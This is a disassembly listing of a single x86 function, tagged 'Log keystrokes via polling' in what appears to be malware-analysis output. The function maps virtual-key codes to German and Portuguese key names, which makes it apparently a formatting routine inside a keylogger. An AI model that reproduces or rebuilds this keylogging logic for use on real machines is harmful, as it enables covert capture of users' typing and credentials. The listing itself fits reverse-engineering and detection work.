Function at 0x437970
Capabilities:
Log keystrokes via polling

Disassembly:
push ecx
cmp dword [0x5dfe4c], 0
push esi
push edi
mov esi, ecx
mov edi, eax
mov dword [esp + 8], 0
mov ecx, 1
je 0x437998
push 0x14
call dword [sym.imp.USER32.dll_GetKeyState]
movsx ecx, ax
mov eax, dword [0x5e04a4]
test eax, eax
je 0x437fa3
cmp edi, 0x5a
jne 0x4379c5
cmp eax, 1
jne 0x437fa3
push str.YZ___
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0x59
jne 0x4379e5
cmp eax, 1
jne 0x437fa3
push 0x5a36f4
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0xba
jne 0x437a29
cmp eax, 1
jne 0x437a0e
mov eax, 0x5a36f8
test ecx, ecx
jne 0x437a00
mov eax, 0x5a36fc
push eax
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 2
jne 0x437fa3
push 0x5a3700
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0xbf
jne 0x437a4c
cmp eax, 1
jne 0x437fa3
push 0x5a3704
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0xc0
jne 0x437a78
cmp eax, 1
je 0x437b3d
cmp eax, 2
jne 0x437fa3
push 0x59fc70
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0xdb
jne 0x437abc
cmp eax, 1
jne 0x437aa1
mov eax, 0x5a370c
test ecx, ecx
jne 0x437a93
mov eax, 0x5a3710
push eax
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 2
jne 0x437fa3
push 0x5a3714
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0xdc
jne 0x437adf
cmp eax, 1
jne 0x437fa3
push 0x5a3718
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0xdd
jne 0x437b0b
cmp eax, 1
je 0x437bb1
cmp eax, 2
jne 0x437fa3
push 0x5a3720
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0xde
jne 0x437b4f
cmp eax, 1
jne 0x437b34
mov eax, 0x5a3724
test ecx, ecx
jne 0x437b26
mov eax, 0x5a3728
push eax
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 2
jne 0x437fa3
push 0x5a3708
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0xbd
jne 0x437b89
cmp eax, 1
jne 0x437b6e
push 0x5a372c
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 2
jne 0x437fa3
push 0x5a3730
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0xbb
jne 0x437bc3
cmp eax, 1
jne 0x437ba8
push 0x5a3734
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 2
jne 0x437fa3
push 0x5a371c
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 8
jne 0x437bfa
cmp eax, 1
jne 0x437bdf
push 0x5a3738
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 2
jne 0x437fa3
push str.Voltar
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0x26
jne 0x437c31
cmp eax, 1
jne 0x437c16
push str.Hoch
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 2
jne 0x437fa3
push str.Cima
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0x28
jne 0x437c68
cmp eax, 1
jne 0x437c4d
push str.Runter
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 2
jne 0x437fa3
push str.Baixo
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0x25
jne 0x437c9f
cmp eax, 1
jne 0x437c84
push str.Links
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 2
jne 0x437fa3
push str.Esquerda
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0x27
jne 0x437cd6
cmp eax, 1
jne 0x437cbb
push str.Rechts
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 2
jne 0x437fa3
push str.Direita
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0x20
jne 0x437d0d
cmp eax, 1
jne 0x437cf2
push str.Leertaste
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 2
jne 0x437fa3
push str.Espa
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0x2c
jne 0x437d44
cmp eax, 1
jne 0x437d29
push str.Druck
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 2
jne 0x437fa3
push str.Print
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0x91
jne 0x437d7e
cmp eax, 1
jne 0x437d63
push str.Rollen
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 2
jne 0x437fa3
push str.ScrLock
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0x2d
jne 0x437d9e
cmp eax, 1
jne 0x437fa3
push str.Einfg
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0x24
jne 0x437dbe
cmp eax, 1
jne 0x437fa3
push str.Pos1
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0x21
jne 0x437dde
cmp eax, 1
jne 0x437fa3
push 0x5a3830
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0x2e
jne 0x437dfe
cmp eax, 1
jne 0x437fa3
push str.Entf
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0x23
jne 0x437e1e
cmp eax, 1
jne 0x437fa3
push str.Ende
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0x22
jne 0x437e3e
cmp eax, 1
jne 0x437fa3
push str.Bild
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0x5d
jne 0x437e5e
cmp eax, 2
jne 0x437fa3
push str.Menu
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0xa2
je 0x437f75
cmp edi, 0x11
je 0x437f75
cmp edi, 0xa3
jne 0x437ead
cmp eax, 1
jne 0x437e92
push str.RStrg
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 2
jne 0x437fa3
push str.Ctrl_Direito
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0xa4
je 0x437f47
cmp edi, 0x12
je 0x437f47
cmp edi, 0xa5
jne 0x437efc
cmp eax, 1
jne 0x437ee1
push str.Alt_Gr
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 2
jne 0x437fa3
push str.Alt_Direito
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp edi, 0xa0
je 0x437f30
cmp edi, 0x10
je 0x437f30
cmp edi, 0xa1
jne 0x437fa3
cmp eax, 2
jne 0x437fa3
push str.Shift_Direito
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 2
jne 0x437fa3
push str.Shift_Esquerdo
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 1
jne 0x437f5e
push 0x5a01c8
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 2
jne 0x437fa3
push str.Alt_Esquerdo
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 1
jne 0x437f8c
push str.Strg
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
cmp eax, 2
jne 0x437fa3
push str.Ctrl_Esquerdo
mov ecx, esi
call fcn.00405fa0
pop edi
mov eax, esi
pop esi
pop ecx
ret
call fcn.00437190
pop edi
mov eax, esi
pop esi
pop ecx
ret